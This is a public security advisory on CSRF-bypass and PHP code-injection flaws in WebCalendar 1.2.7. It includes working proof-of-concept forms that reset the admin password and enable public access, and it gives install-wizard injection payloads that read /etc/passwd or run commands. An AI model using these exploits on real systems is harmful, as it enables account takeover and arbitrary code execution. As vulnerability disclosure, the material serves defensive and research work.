WebCalendar 1.2.7 – Multiple Vulnerabilities
[+] Credits: John Page aka HYP3RLINX [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/WEBCALENDAR-V1.2.7-CSRF-PROTECTION-BYPASS.txt [+] ISR: ApparitionSec Vendor: ========================== www.k5n.us/webcalendar.php Product: ================== WebCalendar v1.2.7 WebCalendar is a PHP-based calendar application that can be configured as a single-user calendar, a multi-user calendar for groups of users, or as an event calendar viewable by visitors. MySQL, PostgreSQL, Oracle, DB2, Interbase, MS SQL Server, or ODBC is required. WebCalendar can be setup in a variety of ways, such as... A schedule management system for a single person A schedule management system for a group of people, allowing one or more assistants to manage the calendar of another user An events schedule that anyone can view, allowing visitors to submit new events A calendar server that can be viewed with iCalendar-compliant calendar applications like Mozilla Sunbird, Apple iCal or GNOME Evolution or RSS-enabled applications like Firefox, Thunderbird, RSSOwl, FeedDemon, or BlogExpress. Vulnerability Type: ====================== CSRF PROTECTION BYPASS CVE Reference: ============== N/A Vulnerability Details: ===================== WebCalendar attempts to uses the HTTP Referer to check that requests are originating from same server as we see below. From WebCalendar "include/functions.php" file on line 6117: //////////////////////////////////////////////////////////// function require_valide_referring_url () { global $SERVER_URL; if ( empty( $_SERVER['HTTP_REFERER'] ) ) { // Missing the REFERER value //die_miserable_death ( translate ( 'Invalid referring URL' ) ); // Unfortunately, some version of MSIE do not send this info. return true; } if ( ! preg_match ( "@$SERVER_URL@i", $_SERVER['HTTP_REFERER'] ) ) { // Gotcha. URL of referring page is not the same as our server. // This can be an instance of XSRF. // (This may also happen when more than address is used for your server. // However, you're not supposed to do that with this version of // WebCalendar anyhow...) die_miserable_death ( translate ( 'Invalid referring URL' ) ); } } ///////////////////////////////////////////////////////////////////////////////////////// However, this can be easily defeated by just not sending a referer. HTML 5 includes a handy tag <meta name="referrer" content="none"> to omit the referer when making an HTTP request, currently supported in Chrome, Safari, MobileSafari and other WebKit-based browsers. Using this meta tag we send no referrer and the vulnerable application will then happily process our CSRF requests. Exploit code(s): =============== 1) CSRF Protection Bypass to change Admin password POC. Note: Name of the victim user is required for success. <meta name="referrer" content="none"> <form id="CSRF" action=" http://localhost/WebCalendar-1.2.7/edit_user_handler.php" method="post"> <input type="hidden" name="formtype" value="setpassword" /> <input type="hidden" name="user" value="admin" /> <input name="upassword1" id="newpass1" type="password" value="1234567" /> <input name="upassword2" id="newpass2" type="password" value="1234567" /> </form> 2) CSRF Protection Bypass modify access controls under "System Settings" / "Allow public access" <meta name="referrer" content="none"> <form id="CSRF_ACCESS_CTRL" action=" http://localhost/WebCalendar-1.2.7/admin.php" method="post" name="prefform"><br /> <input type="hidden" name="currenttab" id="currenttab" value="settings" /> <input type="submit" value="Save" name="" /> <input type="hidden" name="admin_PUBLIC_ACCESS" value="Y" /> <script>document.getElementById('CSRF_ACCESS_CTRL').submit()</script> </form> ####################################################### Vulnerability Type: ====================== PHP Code Injection CVE Reference: ============== N/A Vulnerability Details: ===================== Since WebCalendars install script is not removed after installation as there is no "automatic" removal of it, low privileged users can inject arbitrary PHP code for the "Database Cache" directory value as no input validation exists for this when a user installs the application using the WebCalendar walk thru wizard. If WebCalendars installation script is available as part of a default image, often as a convenience by some hosting providers, this can be used to gain code execution on the target system. The only item that is required is the user must have privileges to authenticate to the MySQL Database and to run the install script. So, users who have install wizard access for the WebCalendar application will now have ability to launch arbitrary system commands on the affected host. One problem we must overcome is WebCalendar filters quotes " so we cannot use code like <?php echo "/bin/cat /etc/passwd"; ?> However, we can defeat this obstacle using the all to forgotten backtick `CMD` operator!. e.g. */?><?php echo `/bin/cat /etc/passwd`; ?> This results in "settings.php" being injected like... <?php /* updated via install/index.php on Wed, 15 Jun 2016 09:44:34 -0400 install_password: e99a18c428cb38d5f260853678922e03 db_type: mysql db_host: localhost db_database: intranet db_login: admin db_password: abc123 db_persistent: false db_cachedir: */?><?php echo `/bin/cat /etc/passwd`; ?> readonly: false user_inc: user.php use_http_auth: false single_user: false # end settings.php */ ?> Exploitation steps(s): ===================== 1) Login to the WebCalendar Installation Wizard. 2) When you get to WebCalendar Installation Wizard Step 2 of the install script. http://localhost/WebCalendar-1.2.7/WebCalendar-1.2.7/install/index.php?action=switch&page=2 3) Click "Test Settings" button to ensure connection to the Database. 4) Enter below PHP code for the "Database Cache Directory:" input fields value to pop calculator for POC (Windows). */?><?php exec(`calc.exe`); ?> 5) Click "Next" button 6) Click "Next" button 7) Click "Save settings" button BOOOOOOOM! "settings.php" gets overwritten and injected with our PHP code. If you happen to get following error when clicking "Test Settings" button, "Failure Reason: Database Cache Directory does not exist", just click back button then forward or just "Test settings" button again to try get past the error. Disclosure Timeline: =============================== Vendor Notification: No replies July 4, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ 6.8 (Medium) CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. HYP3RLINX |